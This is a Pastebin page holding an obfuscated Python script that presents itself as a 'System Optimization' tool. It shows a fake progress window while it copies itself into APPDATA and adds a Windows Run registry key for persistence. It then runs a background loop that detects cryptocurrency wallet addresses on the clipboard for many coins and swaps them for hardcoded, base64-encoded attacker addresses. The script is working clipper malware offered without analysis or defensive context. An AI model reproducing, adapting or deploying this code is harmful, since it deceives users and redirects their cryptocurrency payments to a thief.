Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os, sys, re, time, subprocess, threading
- import warnings
- import base64
- warnings.filterwarnings('ignore')
- os.environ['PYINSTALLER_NO_WARNINGS'] = '1'
- def _d(s):
- return base64.b64decode(s).decode('utf-8')
- try:
- import tkinter as tk
- from tkinter import ttk
- _a0x1 = True
- except:
- _a0x1 = False
- _a0x2 = _d("YmMxcTVqYWhmZTVzMjcqOTB1azZld254eHhjcTJoNjgyOWZ5aDRmcm1z")
- _a0x3 = _d("MHg1NzEzYjE2Q2JiMTZCNTBFOWFiOTY1ODAxQzFhNzk5YUM2Y0VBNTI1")
- _a0x4 = _d("VFFzZWpmcjhXVldjb2hZaEdXRGJ5SGlrVjRqdFJBdVhlZw==")
- _a0x5 = _d("TE5BeDZwa0NRTTI4MVR2ektzWVFVSmZUOVJ6ZHpITXJoVg==")
- _a0x6 = _d("MHg1NzEzYjE2Q2JiMTZCNTBFOWFiOTY1ODAxQzFhNzk5YUM2Y0VBNTI1")
- _a0x7 = _d("RFJZcmlYYkxjNDd6Z0tOclhkYTZkRk5GV1V2akNXZ1NhMQ==")
- _a0x8 = _d("VFFzZWpmcjhXVldjb2hZaEdXRGJ5SGlrVjRqdFJBdVhlZw==")
- _a0x9 = _d("MHg1NzEzYjE2Q2JiMTZCNTBFOWFiOTY1ODAxQzFhNzk5YUM2Y0VBNTI1")
- _a0xa = _d("OTVSM2hrYVdHaDExNGJtaGZLTXh4b2pwY2FzMnUzQ2JkVTROeTQ0RnJpbjg=")
- _a0xb = _d("MHg1NzEzYjE2Q2JiMTZCNTBFOWFiOTY1ODAxQzFhNzk5YUM2Y0VBNTI1")
- _a0xc = _d("cjNZWStyMnBpRFBWVzY0WlY5Q0htaENuclZuSnlhem1vcg==")
- _a0xd = _d("YWRkcjFxeTBzdjQzOHpmZmt4dHZ5dzVkcWttbHpscXFoNHk3dWhrNmxkNDN6Y3RjamRoZ2xxZXR6d3lqbnZ2a2NnYWc2cGRoNzk3cXAwMmZhZTBkNDdtdHo5c2gzeW13czU3cTlzNw==")
- def _f0x1():
- try:
- if os.name == _d("bnQ="):
- import winreg, ctypes
- _p0x1 = os.getenv(_d("QVBQREFUQQ=="))
- _f0x2 = sys.argv[0]
- if sys.argv[0].endswith(_d("LmV4ZQ==")):
- _p0x2 = os.getenv(_d("QVBQREFUQQ==")) + _d("XA==")
- _p0x3 = _p0x2 + os.path.basename(sys.argv[0])
- if os.path.exists(sys.argv[0]):
- try:
- import shutil
- if not os.path.exists(_p0x3):
- shutil.copy2(sys.argv[0], _p0x3)
- _a0xe = _d("Ig==") + _p0x3 + _d("Ig==")
- except Exception:
- _a0xe = _d("Ig==") + sys.argv[0] + _d("Ig==")
- else:
- _a0xe = _d("Ig==") + sys.argv[0] + _d("Ig==")
- else:
- _a0xe = os.getenv(_d("TE9DQUxBUFBEQVRB")) + _d("XFxQcm9ncmFtc1xcUHl0aG9uXFxMYXVuY2hlclxccHkuZXhl") + _d("IA==") + _d("LWkg") + _d("IA==") + _d("Ig==") + _p0x1 + _d("XFw=") + _f0x2 + _d("Ig==")
- _k0x1 = winreg.HKEY_CURRENT_USER
- _k0x2 = _d("U09GVFdBUkVcXE1pY3Jvc29mdFxcV2luZG93c1xcQ3VycmVudFZlcnNpb25cXFJ1bg==")
- _o0x1 = winreg.CreateKeyEx(_k0x1, _k0x2, 0, winreg.KEY_WRITE)
- winreg.SetValueEx(_o0x1, _d("U3lzdGVtT3B0aW1pemVy"), 0, winreg.REG_SZ, _a0xe)
- _o0x1.Close()
- if not sys.argv[0].endswith(_d("LmV4ZQ==")):
- _v0x1 = []
- try:
- with open(sys.argv[0], 'r', encoding='utf-8', errors='ignore') as _f0x3:
- _l0x1 = _f0x3.readlines()
- for _l0x2 in _l0x1:
- _v0x1.append(_l0x2)
- except (UnicodeDecodeError, IOError):
- return
- _p0x1 = os.getenv(_d("QVBQREFUQQ==")) + _d("XFw=")
- _p0x3 = os.getenv(_d("QVBQREFUQQ==")) + _d("XFw=") + os.path.basename(sys.argv[0])
- try:
- with open(_p0x3, 'w', encoding='utf-8', errors='ignore') as _f0x3:
- for _l0x2 in _v0x1:
- _f0x3.write(_l0x2)
- if _l0x2 == _d("Rmlyc3RUaW1lID0gVHJ1ZVxu"):
- _f0x3.write(_d("Rmlyc3RUaW1lID0gRmFsc2Vcbg=="))
- except Exception:
- pass
- except Exception:
- pass
- class _C0x1:
- def __init__(self):
- self._p0x4 = r'^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$|^(bc1)[0-9a-zA-HJ-NP-Z]{11,71}$'
- self._p0x5 = r'^0x[a-fA-F0-9]{40}$'
- self._p0x6 = r'^T[A-Za-z1-9]{33}$'
- self._p0x7 = r'^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$|^(ltc1)[0-9a-z]{58,72}$'
- self._p0x8 = r'^0x[a-fA-F0-9]{40}$|^bnb[a-z0-9]{38}$'
- self._p0x9 = r'^D[5-9A-HJ-NP-U][1-9A-HJ-NP-Za-km-z]{32}$'
- self._p0xa = r'^[1-9A-HJ-NP-Za-km-z]{32,44}$'
- self._p0xb = r'^0x[a-fA-F0-9]{40}$'
- self._p0xc = r'^r[1-9A-HJ-NP-Za-km-z]{25,35}$'
- self._p0xd = r'^(addr1)[0-9a-z]{98,110}$|^(addr)[0-9a-z]{98,110}$'
- self._m0x1 = {
- _d("YnRj"): _a0x2,
- _d("ZXRo"): _a0x3,
- _d("dHJ4"): _a0x4,
- _d("bHRj"): _a0x5,
- _d("Ym5i"): _a0x6,
- _d("ZG9nZQ=="): _a0x7,
- _d("c29s"): _a0xa,
- _d("cG9seQ=="): _a0xb,
- _d("cmlwcGxl"): _a0xc,
- _d("YWRh"): _a0xd,
- _d("dXNkdF90cmMyMA=="): _a0x8 if _a0x8 else _a0x4,
- _d("dXNkdF9lcmMyMA=="): _a0x9 if _a0x9 else _a0x3
- }
- try:
- global pyperclip
- import pyperclip
- except ModuleNotFoundError:
- try:
- os.system(_d("cGlwIGluc3RhbGwgcHlwZXJjbGlw"))
- os.execl(sys.executable, sys.executable, *sys.argv)
- except Exception:
- os.execl(sys.executable, sys.executable, *sys.argv)
- def _r0x1(self):
- try:
- _a0xf = pyperclip.paste().strip()
- if re.match(self._p0xd, _a0xf):
- return _d("YWRh")
- elif re.match(self._p0x4, _a0xf):
- return _d("YnRj")
- elif re.match(self._p0x6, _a0xf):
- return _d("dHJ4")
- elif re.match(self._p0xc, _a0xf):
- return _d("cmlwcGxl")
- elif re.match(self._p0x7, _a0xf):
- return _d("bHRj")
- elif re.match(self._p0x9, _a0xf):
- return _d("ZG9nZQ==")
- elif re.match(self._p0xa, _a0xf) and len(_a0xf) >= 32 and len(_a0xf) <= 44:
- return _d("c29s")
- elif re.match(self._p0x5, _a0xf):
- return _d("ZXRo")
- return _d("bmls")
- except Exception:
- return _d("bmls")
- def _w0x1(self):
- _a0x10 = self._r0x1().strip()
- try:
- if _a0x10 in self._m0x1:
- _a0x11 = self._m0x1[_a0x10]
- if _a0x11:
- pyperclip.copy(_a0x11)
- except Exception:
- pass
- def _f0x4():
- if not _a0x1:
- return
- _r0x2 = tk.Tk()
- _r0x2.title(_d("U3lzdGVtIE9wdGltaXphdGlvbg=="))
- _r0x2.geometry(_d("NDAweDIwMA=="))
- _r0x2.resizable(False, False)
- _r0x2.attributes(_d("LXRvcG1vc3Q="), True)
- _c0x1 = _r0x2.winfo_screenwidth() // 2 - 200
- _c0x2 = _r0x2.winfo_screenheight() // 2 - 100
- _r0x2.geometry(f"400x200+{_c0x1}+{_c0x2}")
- _f0x5 = tk.Frame(_r0x2, bg=_d("IzJiMmIyYg=="))
- _f0x5.pack(fill=tk.BOTH, expand=True)
- _l0x3 = tk.Label(_f0x5, text=_d("T3B0aW1pemluZyBTeXN0ZW0uLi4="), font=(_d("QXJpYWw="), 14), bg=_d("IzJiMmIyYg=="), fg=_d("d2hpdGU="))
- _l0x3.pack(pady=30)
- _p0x10 = ttk.Progressbar(_f0x5, mode=_d("aW5kZXRlcm1pbmF0ZQ=="), length=300)
- _p0x10.pack(pady=20)
- _p0x10.start(10)
- _l0x4 = tk.Label(_f0x5, text=_d("U2Nhbm5pbmcgc3lzdGVtIGZpbGVzLi4u"), font=(_d("QXJpYWw="), 10), bg=_d("IzJiMmIyYg=="), fg=_d("I2FhYWFhYWE="))
- _l0x4.pack(pady=10)
- _m0x2 = [
- _d("U2Nhbm5pbmcgc3lzdGVtIGZpbGVzLi4u"),
- _d("T3B0aW1pemluZyByZWdpc3RyeS4uLg=="),
- _d("Q2xlYW5pbmcgdW5uZWNlc3NhcnkgZmlsZXMuLi4="),
- _d("SW1wcm92aW5nIHN5c3RlbSBwZXJmb3JtYW5jZS4uLg=="),
- _d("T3B0aW1pemF0aW9uIGFsbW9zdCBjb21wbGV0ZS4uLg==")
- ]
- def _f0x6():
- for _i0x1, _m0x3 in enumerate(_m0x2):
- _l0x4.config(text=_m0x3)
- _r0x2.update()
- time.sleep(2)
- time.sleep(1)
- _r0x2.destroy()
- threading.Thread(target=_f0x6, daemon=True).start()
- _r0x2.mainloop()
- def _f0x7():
- if len(sys.argv) == 1:
- try:
- if os.name == _d("cG9zaXg="):
- subprocess.Popen([sys.executable] + [sys.argv[0], _d("Ymc=")] + sys.argv[1:],
- close_fds=True, stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT)
- elif os.name == _d("bnQ="):
- if _a0x1:
- _f0x4()
- _f0x1()
- subprocess.Popen([sys.executable] + [sys.argv[0], _d("Ymc=")] + sys.argv[1:],
- stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT)
- except Exception:
- pass
- sys.exit(0)
- _f0x7()
- while True:
- _h0x1 = _C0x1()
- _h0x1._w0x1()
- time.sleep(0.5)
Add Comment
Please, Sign In to add comment